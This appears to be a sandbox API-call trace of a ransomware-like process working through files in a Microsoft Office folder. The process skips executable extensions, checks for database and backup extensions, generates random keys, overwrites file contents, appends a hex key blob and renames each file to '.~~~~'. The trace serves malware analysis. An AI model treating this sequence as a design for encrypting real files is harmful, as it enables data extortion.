	[0137.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb97f490, dwHighDateTime=0x1d60e1e)) 
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5188
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.831] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5188 | out: hHeap=0x300000) returned 1
	[0137.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce578
	[0137.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.832] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.832] GetLastError () returned 0x0
	[0137.832] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.832] GetLastError () returned 0x0
	[0137.834] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffff349, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.834] WriteFile (in: hFile=0x108, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0xcb7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0xcb7, lpOverlapped=0x0) returned 1
	[0137.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0137.835] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.835] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.835] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.835] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.835] CloseHandle (hObject=0x108) returned 1
	[0137.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce578
	[0137.835] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\FONTSCHM.INI.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\fontschm.ini.~~~~")) returned 1
	[0137.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce578 | out: hHeap=0x300000) returned 1
	[0137.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.838] GetLastError () returned 0x0
	[0137.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".scr") returned 0x0
	[0137.838] lstrlenW (lpString=".cmd") returned 4
	[0137.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".cmd") returned 0x0
	[0137.838] lstrlenW (lpString=".dll") returned 4
	[0137.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dll") returned 0x0
	[0137.838] lstrlenW (lpString=".bat") returned 4
	[0137.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".bat") returned 0x0
	[0137.838] lstrlenW (lpString=".cpl") returned 4
	[0137.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".cpl") returned 0x0
	[0137.838] lstrlenW (lpString=".sys") returned 4
	[0137.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".sys") returned 0x0
	[0137.839] lstrlenW (lpString=".msc") returned 4
	[0137.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".msc") returned 0x0
	[0137.839] lstrlenW (lpString=".com") returned 4
	[0137.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".com") returned 0x0
	[0137.839] lstrlenW (lpString=".lnk") returned 4
	[0137.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".lnk") returned 0x0
	[0137.839] lstrlenW (lpString=".msp") returned 4
	[0137.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".msp") returned 0x0
	[0137.839] lstrlenW (lpString=".pif") returned 4
	[0137.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".pif") returned 0x0
	[0137.839] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0137.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0137.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0137.842] lstrlenW (lpString=".sqb") returned 4
	[0137.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".sqb") returned 0x0
	[0137.842] lstrlenW (lpString=".ost") returned 4
	[0137.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".ost") returned 0x0
	[0137.842] lstrlenW (lpString=".txt") returned 4
	[0137.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".txt") returned 0x0
	[0137.842] lstrlenW (lpString=".mdt") returned 4
	[0137.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".mdt") returned 0x0
	[0137.842] lstrlenW (lpString=".BDB") returned 4
	[0137.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".BDB") returned 0x0
	[0137.842] lstrlenW (lpString=".eql") returned 4
	[0137.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".eql") returned 0x0
	[0137.842] lstrlenW (lpString=".DBF") returned 4
	[0137.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DBF") returned 0x0
	[0137.843] lstrlenW (lpString=".EQL") returned 4
	[0137.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".EQL") returned 0x0
	[0137.843] lstrlenW (lpString=".FDB") returned 4
	[0137.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".FDB") returned 0x0
	[0137.843] lstrlenW (lpString=".EDB") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".EDB") returned 0x0
	[0137.846] lstrlenW (lpString=".DACPAC") returned 7
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DACPAC") returned 0x0
	[0137.846] lstrlenW (lpString=".VHD") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".VHD") returned 0x0
	[0137.846] lstrlenW (lpString=".DBV") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DBV") returned 0x0
	[0137.846] lstrlenW (lpString=".dacpac") returned 7
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dacpac") returned 0x0
	[0137.846] lstrlenW (lpString=".sdf") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".sdf") returned 0x0
	[0137.846] lstrlenW (lpString=".accdb") returned 6
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".accdb") returned 0x0
	[0137.846] lstrlenW (lpString=".DBX") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DBX") returned 0x0
	[0137.846] lstrlenW (lpString=".MDT") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".MDT") returned 0x0
	[0137.846] lstrlenW (lpString=".SQB") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".SQB") returned 0x0
	[0137.846] lstrlenW (lpString=".vhd") returned 4
	[0137.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".vhd") returned 0x0
	[0137.847] lstrlenW (lpString=".bac") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".bac") returned 0x0
	[0137.847] lstrlenW (lpString=".mdf") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".mdf") returned 0x0
	[0137.847] lstrlenW (lpString=".BAK") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".BAK") returned 0x0
	[0137.847] lstrlenW (lpString=".BAC") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".BAC") returned 0x0
	[0137.847] lstrlenW (lpString=".dbs") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dbs") returned 0x0
	[0137.847] lstrlenW (lpString=".vhdx") returned 5
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".vhdx") returned 0x0
	[0137.847] lstrlenW (lpString=".NDF") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".NDF") returned 0x0
	[0137.847] lstrlenW (lpString=".dat") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dat") returned 0x0
	[0137.847] lstrlenW (lpString=".DBS") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DBS") returned 0x0
	[0137.847] lstrlenW (lpString=".CKP") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".CKP") returned 0x0
	[0137.847] lstrlenW (lpString=".edb") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".edb") returned 0x0
	[0137.847] lstrlenW (lpString=".PST") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".PST") returned 0x0
	[0137.847] lstrlenW (lpString=".dbf") returned 4
	[0137.847] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dbf") returned 0x0
	[0137.848] lstrlenW (lpString=".SQL") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".SQL") returned 0x0
	[0137.848] lstrlenW (lpString=".pst") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".pst") returned 0x0
	[0137.848] lstrlenW (lpString=".dbv") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dbv") returned 0x0
	[0137.848] lstrlenW (lpString=".SDF") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".SDF") returned 0x0
	[0137.848] lstrlenW (lpString=".dtxs") returned 5
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dtxs") returned 0x0
	[0137.848] lstrlenW (lpString=".db3") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".db3") returned 0x0
	[0137.848] lstrlenW (lpString=".OST") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".OST") returned 0x0
	[0137.848] lstrlenW (lpString=".dbx") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dbx") returned 0x0
	[0137.848] lstrlenW (lpString=".DB3") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DB3") returned 0x0
	[0137.848] lstrlenW (lpString=".DAT") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DAT") returned 0x0
	[0137.848] lstrlenW (lpString=".VHDX") returned 5
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".VHDX") returned 0x0
	[0137.848] lstrlenW (lpString=".ndf") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".ndf") returned 0x0
	[0137.848] lstrlenW (lpString=".DB") returned 3
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DB") returned 0x0
	[0137.848] lstrlenW (lpString=".sql") returned 4
	[0137.848] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".sql") returned 0x0
	[0137.849] lstrlenW (lpString=".MYD") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".MYD") returned 0x0
	[0137.849] lstrlenW (lpString=".DBT") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DBT") returned 0x0
	[0137.849] lstrlenW (lpString=".ACCDB") returned 6
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".ACCDB") returned 0x0
	[0137.849] lstrlenW (lpString=".fdb") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".fdb") returned 0x0
	[0137.849] lstrlenW (lpString=".bak") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".bak") returned 0x0
	[0137.849] lstrlenW (lpString=".myd") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".myd") returned 0x0
	[0137.849] lstrlenW (lpString=".DTXS") returned 5
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".DTXS") returned 0x0
	[0137.849] lstrlenW (lpString=".ckp") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".ckp") returned 0x0
	[0137.849] lstrlenW (lpString=".dbt") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".dbt") returned 0x0
	[0137.849] lstrlenW (lpString=".db") returned 3
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".db") returned 0x0
	[0137.849] lstrlenW (lpString=".TXT") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".TXT") returned 0x0
	[0137.849] lstrlenW (lpString=".MDF") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".MDF") returned 0x0
	[0137.849] lstrlenW (lpString=".bdb") returned 4
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".bdb") returned 0x0
	[0137.849] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0137.849] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0137.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0137.850] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.850] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x394b08) returned 1
	[0137.851] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.851] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0137.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0137.851] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25784131296) returned 1
	[0137.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbb9cb750, dwHighDateTime=0x1d60e1e)) 
	[0137.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0137.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0137.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0137.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5150
	[0137.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5150 | out: hHeap=0x300000) returned 1
	[0137.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce968
	[0137.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c61b8
	[0137.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce968 | out: hHeap=0x300000) returned 1
	[0137.852] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0137.852] GetLastError () returned 0x0
	[0137.852] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0137.853] GetLastError () returned 0x0
	[0137.988] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.988] WriteFile (in: hFile=0x108, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.990] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0137.990] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.990] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0137.990] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0137.990] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0137.991] CloseHandle (hObject=0x108) returned 1
	[0137.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cec08
	[0137.991] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME01.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme01.css.~~~~")) returned 1
	[0137.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cec08 | out: hHeap=0x300000) returned 1
	[0137.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0137.993] GetLastError () returned 0x0
	[0137.994] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME06.CSS", lpSrch=".scr") returned 0x0
	[0137.994] lstrlenW (lpString=".cmd") returned 4
